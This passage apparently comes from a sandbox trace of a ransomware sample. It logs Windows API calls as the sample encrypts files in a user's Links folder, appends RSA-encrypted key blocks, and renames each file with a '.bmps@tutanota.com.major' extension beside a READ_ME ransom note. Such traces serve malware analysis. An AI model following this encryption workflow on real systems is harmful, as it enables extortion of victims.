[0147.710] SetLastError (dwErrCode=0x0) [0147.710] GetLastError () returned 0x0 [0147.710] SetLastError (dwErrCode=0x0) [0147.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0147.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0147.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0147.710] FindNextFileW (in: hFindFile=0x60eaa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x442b54f3, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x442b54f3, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xcec7abde, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x3ae, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0147.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0147.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0147.710] GetLastError () returned 0x0 [0147.710] SetLastError (dwErrCode=0x0) [0147.710] GetLastError () returned 0x0 [0147.710] SetLastError (dwErrCode=0x0) [0147.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0147.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0147.710] GetLastError () returned 0x0 [0147.710] SetLastError (dwErrCode=0x0) [0147.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0147.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0147.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0147.710] FindNextFileW (in: hFindFile=0x60eaa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3190fb5, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x94664823, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="OneDrive.lnk", cAlternateFileName="")) returned 1 [0147.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0147.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0147.711] GetLastError () returned 0x0 [0147.711] SetLastError (dwErrCode=0x0) [0147.711] GetLastError () returned 0x0 [0147.711] SetLastError (dwErrCode=0x0) [0147.711] GetLastError () returned 0x0 [0147.711] SetLastError (dwErrCode=0x0) [0147.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0147.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0147.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0147.711] FindNextFileW (in: hFindFile=0x60eaa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152842a1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x152842a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x152aa46e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0147.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0147.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0147.711] GetLastError () returned 0x0 [0147.711] SetLastError (dwErrCode=0x0) [0147.711] GetLastError () returned 0x0 [0147.711] SetLastError (dwErrCode=0x0) [0147.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0147.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0147.711] GetLastError () returned 0x0 [0147.711] SetLastError (dwErrCode=0x0) [0147.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0147.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0147.711] FindNextFileW (in: hFindFile=0x60eaa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152842a1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x152842a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x152aa46e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0147.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0147.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0147.711] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.711] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Links\\OneDrive.lnk", dwFileAttributes=0x80) returned 1 [0147.712] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0147.712] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0147.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0147.712] CreateFileW (lpFileName="\\Users\\FD1HVy\\Links\\OneDrive.lnk" (normalized: "c:\\users\\fd1hvy\\links\\onedrive.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f4 [0147.713] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1338) returned 1 [0147.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x53a) returned 0x5b5a90 [0147.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x53a) returned 0x631898 [0147.713] ReadFile (in: hFile=0x5f4, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x53a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x53a, lpOverlapped=0x0) returned 1 [0147.847] SetFilePointer (in: hFile=0x5f4, lDistanceToMove=-1338, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.847] WriteFile (in: hFile=0x5f4, lpBuffer=0x631898*, nNumberOfBytesToWrite=0x53a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x53a, lpOverlapped=0x0) returned 1 [0147.848] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0147.848] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0147.848] SetFilePointer (in: hFile=0x5f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x53a [0147.848] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.848] WriteFile (in: hFile=0x5f4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.848] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.848] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.848] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.848] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.848] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Ezg5IWo+DBnKthLBSsOjz6YzCFwaGPUXqsjPO1T/CVeL+3ZEgJaGZ2+cN6S4cukm\nIRTV06uP7dGlBY4ODNfJoOVdNnTX3rTjFegup7SF+HCaK4fwKjqg7/Gcy2/DBYRk\nSQtOdG6FDiyWhw+utuKL1oA9nmu4OJa6hUYYLPnYmRehoV0tOY1RHWAsh1o402nQ\nYdZoN5+1nwAm9kqneRHpkhrkbn2kUte/+Qlq1SOBUU+X3ts4uXRF1qoFDt+oh38K\nKyvb7ZyyF3XpNb5sVhq421UEiowquHcP5i/zyQ9N39es1zFvZs+9cvUYJV6qVveI\nN0K6y76/eNG/Tt04Yk0hGg==\n", pcchString=0x2e3f9a8) returned 1 [0147.848] WriteFile (in: hFile=0x5f4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.849] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.849] WriteFile (in: hFile=0x5f4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.849] CloseHandle (hObject=0x5f4) returned 1 [0147.849] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.849] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Links\\OneDrive.lnk" (normalized: "c:\\users\\fd1hvy\\links\\onedrive.lnk"), lpNewFileName="\\Users\\FD1HVy\\Links\\OneDrive.lnk.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\links\\onedrive.lnk.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.853] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0147.853] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0147.853] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0147.853] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0147.853] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0147.853] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0147.853] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.853] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Links\\Downloads.lnk", dwFileAttributes=0x80) returned 1 [0147.853] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0147.853] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0147.853] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0147.853] CreateFileW (lpFileName="\\Users\\FD1HVy\\Links\\Downloads.lnk" (normalized: "c:\\users\\fd1hvy\\links\\downloads.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f4 [0147.853] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=942) returned 1 [0147.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3ae) returned 0x5b5a90 [0147.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3ae) returned 0x5b5e48 [0147.854] ReadFile (in: hFile=0x5f4, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x3ae, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x3ae, lpOverlapped=0x0) returned 1 [0147.917] SetFilePointer (in: hFile=0x5f4, lDistanceToMove=-942, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.917] WriteFile (in: hFile=0x5f4, lpBuffer=0x5b5e48*, nNumberOfBytesToWrite=0x3ae, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5e48*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3ae, lpOverlapped=0x0) returned 1 [0147.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0147.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5e48 | out: hHeap=0x570000) returned 1 [0147.917] SetFilePointer (in: hFile=0x5f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3ae [0147.918] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.918] WriteFile (in: hFile=0x5f4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.918] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.918] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.918] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.918] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.918] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="b1XMiKq3AoNn/kbtnOrqdiRKQZHai7uTlnHcM+Rotzppi1fwJ3lV51V6AGcoypOo\nYKvLIXlnSHb4msCDe1EI4Sm3xGwK3VoIoYIXgtGu16XwQXKcTVzUl9+qDloywr+O\nv2oOzLv9cjjVCy34OgvW6cFKjkkDKs7x9zse120wPfh7XcWnoNkiJvcrqv717lwy\nf7pPt7P8E5YzxbwNdyNQnSQuISop/tCRhFjk1y/R6mo+6XkqIFFykn45BraX+ktM\nzxDx5mDT0vfjHpFJRvuAdZIXmugH0xyGcYOSGJ2rMuSxBzpIB2LR+tFil14lxvfQ\nHqBpKSDyt6GX6Hy1R1Mjug==\n", pcchString=0x2e3f9a8) returned 1 [0147.918] WriteFile (in: hFile=0x5f4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.918] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.918] WriteFile (in: hFile=0x5f4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.919] CloseHandle (hObject=0x5f4) returned 1 [0147.919] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.919] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Links\\Downloads.lnk" (normalized: "c:\\users\\fd1hvy\\links\\downloads.lnk"), lpNewFileName="\\Users\\FD1HVy\\Links\\Downloads.lnk.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\links\\downloads.lnk.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0147.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0147.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0147.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0147.921] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0147.921] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0147.921] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.921] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Links\\Desktop.lnk", dwFileAttributes=0x80) returned 1 [0147.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0147.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0147.922] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0147.922] CreateFileW (lpFileName="\\Users\\FD1HVy\\Links\\Desktop.lnk" (normalized: "c:\\users\\fd1hvy\\links\\desktop.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f4 [0147.922] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=501) returned 1 [0147.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1f5) returned 0x57eca8 [0147.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1f5) returned 0x5c1ce8 [0147.922] ReadFile (in: hFile=0x5f4, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x1f5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1f5, lpOverlapped=0x0) returned 1 [0147.923] SetFilePointer (in: hFile=0x5f4, lDistanceToMove=-501, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.923] WriteFile (in: hFile=0x5f4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x1f5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1f5, lpOverlapped=0x0) returned 1 [0147.924] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0147.924] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.924] SetFilePointer (in: hFile=0x5f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1f5 [0147.924] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.924] WriteFile (in: hFile=0x5f4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.924] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.924] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.924] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.924] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.924] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="ai911iKA5LVtSddioss4rchA6qNw8OXCMpkFxY6YLdQSmQKgXdoXZ2TiyV9tXuOw\nJzQ2YZzolS5grbmYUMEIO3TyY6rAAmzoSHOQZrOMg5o+dsOIe5825YNHJskfp2I+\nSUVOzYODlCJ0xV+nAuFpPVhq7Zp/SQlD1PkHhxSneiWc32CYqsKYukcXgRkrO474\n5w9qaT7sYJ8kbhsNnVeGjaM2FsULqxP8kgNSLKMlG0Ug/dSTdQUnvCuTlpHlJHjN\nFYFOjtauAwRUrqAjlaNLqowhwJMSADzs28x5q7sdRXRkdYu6M0ORx7vGS0qpAtqT\nvjO9se4gNyNpggNQfJYSIQ==\n", pcchString=0x2e3f9a8) returned 1 [0147.924] WriteFile (in: hFile=0x5f4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.925] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.925] WriteFile (in: hFile=0x5f4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.925] CloseHandle (hObject=0x5f4) returned 1 [0147.925] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.925] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Links\\Desktop.lnk" (normalized: "c:\\users\\fd1hvy\\links\\desktop.lnk"), lpNewFileName="\\Users\\FD1HVy\\Links\\Desktop.lnk.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\links\\desktop.lnk.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0147.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0147.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0147.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0147.928] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0147.928] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0147.928] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.928] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Links\\desktop.ini", dwFileAttributes=0x80) returned 1 [0147.929] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0147.929] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0147.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0147.929] CreateFileW (lpFileName="\\Users\\FD1HVy\\Links\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\links\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f4 [0147.930] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=504) returned 1 [0147.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1f8) returned 0x57eca8 [0147.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1f8) returned 0x5c1ce8 [0147.930] ReadFile (in: hFile=0x5f4, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x1f8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1f8, lpOverlapped=0x0) returned 1 [0147.930] SetFilePointer (in: hFile=0x5f4, lDistanceToMove=-504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.930] WriteFile (in: hFile=0x5f4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1f8, lpOverlapped=0x0) returned 1 [0147.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0147.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.930] SetFilePointer (in: hFile=0x5f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1f8 [0147.930] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.930] WriteFile (in: hFile=0x5f4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, 